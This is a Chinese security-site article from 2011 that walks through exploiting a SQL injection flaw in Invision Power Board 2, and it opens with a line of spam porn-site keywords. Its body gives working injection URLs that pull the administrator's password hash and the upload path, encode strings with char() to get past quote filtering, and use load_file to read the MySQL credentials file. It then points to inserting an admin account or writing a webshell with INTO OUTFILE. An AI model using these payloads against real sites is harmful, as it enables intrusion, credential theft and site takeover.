国产精品香蕉在线观看网,亚洲欧美精品综合在线观看,亚洲不卡av一区二区无码不卡,亚洲日本精品国产第一区二区

移動(dòng)安全 安全管理 應(yīng)用案例 網(wǎng)絡(luò)威脅系統(tǒng)安全 應(yīng)用安全 數(shù)據(jù)安全 云安全
當(dāng)前位置: 主頁(yè) > 信息安全 > 系統(tǒng)安全 >

深入利用IPB2注入漏洞

時(shí)間:2011-05-04 15:49來(lái)源: 點(diǎn)擊:
利用IPB2的注入漏洞獲得管理員的資料,修改COOKIE可以得到前臺(tái)的管理權(quán)限。不少人埋怨沒(méi)有什么用,其實(shí)這個(gè)是大多數(shù)人不了解IPB2的原因。
Tags系統(tǒng)安全(735)注入漏洞(26)  

  在上一篇《PHP+MySQL注入導(dǎo)出文件的新發(fā)現(xiàn)——附帶IPB2的漏洞利用》,利用IPB2的注入漏洞獲得管理員的資料,修改COOKIE可以得到前臺(tái)的管理權(quán)限。不少人埋怨沒(méi)有什么用,其實(shí)這個(gè)是大多數(shù)人不了解IPB2的原因。

  因?yàn)檫^(guò)濾了很多特殊字符,包括單引號(hào),全部轉(zhuǎn)為十進(jìn)制了。

  其實(shí)充分發(fā)揮一下想象力。也是有可能拿到后臺(tái)管理員或者webshell的,注意,是可能,因?yàn)檫@個(gè)并不是通殺的,為什么不是通殺的,往下看就知道了。

  我也不多說(shuō)了。對(duì)于這個(gè),我看最直接的目的就是看MYSQL的連接信息。怎么看?讀文件唄!

  我想不管是讀文件和上傳,這個(gè)注入漏洞都給我們提供了最直接的條件,如果了解IPB2的人就應(yīng)該知道。上傳的目錄是保存里的,因此。我們根本不需要怎么提交、不需要構(gòu)造什么變量去報(bào)錯(cuò)暴路徑,IPB2也沒(méi)有這個(gè)條件去暴這些信息。就算出錯(cuò)也只返回特定的信息。

  IPB2的上傳目錄的路徑是保存在ibf_conf_settings表里,所以我們可以構(gòu)造SQL語(yǔ)句,把這個(gè)路徑給直接反饋到眼前。

  http://localhost/ipb2/index.php?act=Post&CODE=02&f=2&t=1&qpid=1)%20and%201=2%20union%20select%201, 2, 3, 4, 5, 6, 7, 8, 9, 10, member_login_key, 12, 13, 14, 15, 16, 17, 18, 19, 1%20from%20ibf_members%20where%20id=1%20/*

  這樣是讀取id為1的用戶的密碼散列,同樣的,我們?nèi)绻峤唬?/P>

  http://localhost/ipb2/index.php?act=Post&CODE=02&f=2&t=1&qpid=1)%20and%201=2%20union%20select%201, 2, 3, 4, 5, 6, 7, 8, 9, 10, conf_value, 12, 13, 14, 15, 16, 17, 18, 19, 1%20from%20ibf_conf_settings%20where%20conf_id=59%20/*

  就會(huì)返回上傳目錄的絕對(duì)路徑:

  [quote=5,Jan 1 1970, 08:00 AM]

  h:/www/ipb2/uploads

  [right][snapback]1[/snapback][/right]

  [/quote]

  不過(guò),默認(rèn)應(yīng)該是這樣可以了的,但是如果管理員把conf_id改變的話,可能就不是59了。這時(shí)我們直接提交:

  http://localhost/ipb2/index.php?act=Post&CODE=02&f=2&t=1&qpid=1)%20and%201=2%20union%20select%201, 2, 3, 4, 5, 6, 7, 8, 9, 10, conf_value, 12, 13, 14, 15, 16, 17, 18, 19, 1%20from%20ibf_conf_settings%20where%20conf_key=char(117, 112, 108, 111, 97, 100, 95, 100, 105, 114)%20/*

  因?yàn)閏onf_key為upload_dir的相對(duì)應(yīng)的conf_value就是上傳目錄的絕對(duì)路徑,但是因?yàn)槭亲址?,我們不能用單引?hào),只能轉(zhuǎn)換為10進(jìn)制或者16進(jìn)制,char(117, 112, 108, 111, 97, 100, 95, 100, 105, 114)就等于“upload_dir”,所以也會(huì)返回絕對(duì)路徑。

  有了絕對(duì)路徑能做什么呢?知道可以允許寫(xiě)的目錄在哪了。知道MYSQL連接文件在哪了,還等什么?讀文件吧。假設(shè)上面的,我們的目錄是“h:/www/ipb2/”,那么連接文件就是“h:/www/ipb2/conf_global.php”,轉(zhuǎn)換為10進(jìn)制或者16進(jìn)制,提交:

  http://localhost/ipb2/index.php?act=Post&CODE=02&f=2&t=1&qpid=1)%20and%201=2%20union%20select%201, 2, 3, 4, 5, 6, 7, 8, 9, 10, load_file(char(104, 58, 47, 119, 119, 119, 47, 105, 112, 98, 50, 47, 99, 111, 110, 102, 95, 103, 108, 111, 98, 97, 108, 46, 112, 104, 112)), 12, 13, 14, 15, 16, 17, 18, 19, 1%20/*

  文件就出來(lái)了:

  [quote=5,Jan 1 1970, 08:00 AM]

  < ?php

  $INFO['sql_driver'] = 'mysql';

  $INFO['sql_host'] = 'localhost';

  $INFO['sql_database'] = 'ipb2';

  $INFO['sql_user'] = 'root';

  $INFO['sql_pass'] = '';

  $INFO['sql_tbl_prefix'] = 'ibf_';

  $INFO['sql_debug'] = '1';

  $INFO['board_start'] = '1102196141';

  $INFO['installed'] = '1';

  $INFO['php_ext'] = 'php';

  $INFO['safe_mode'] = '0';

  $INFO['board_url'] = 'http://localhost/ipb2';

  $INFO['admin_group'] = '4';

  $INFO['guest_group'] = '2';

  $INFO['member_group'] = '3';

  $INFO['auth_group'] = '1';

  ?>

  [right][snapback]1[/snapback][/right]

  [/quote]

  注意注意!剛才說(shuō)了,不是通殺的,有兩個(gè)條件:

  要讀出文件,連接MYSQL的這個(gè)用戶,一定要擁有FILE的權(quán)限。這個(gè)是最根本的。

  條件1具備以后,要更進(jìn)一步操作,MYSQL必須允許遠(yuǎn)程連接,這樣insert一個(gè)后臺(tái)管理員,還是into outfile都隨便你了。

  本文完全是技巧和思路的文章,沒(méi)有多大技術(shù)含量,都是老技術(shù)了,如果你不了解IPB2,也不知道在數(shù)據(jù)庫(kù)里放有絕對(duì)路徑吧?

------分隔線----------------------------

推薦內(nèi)容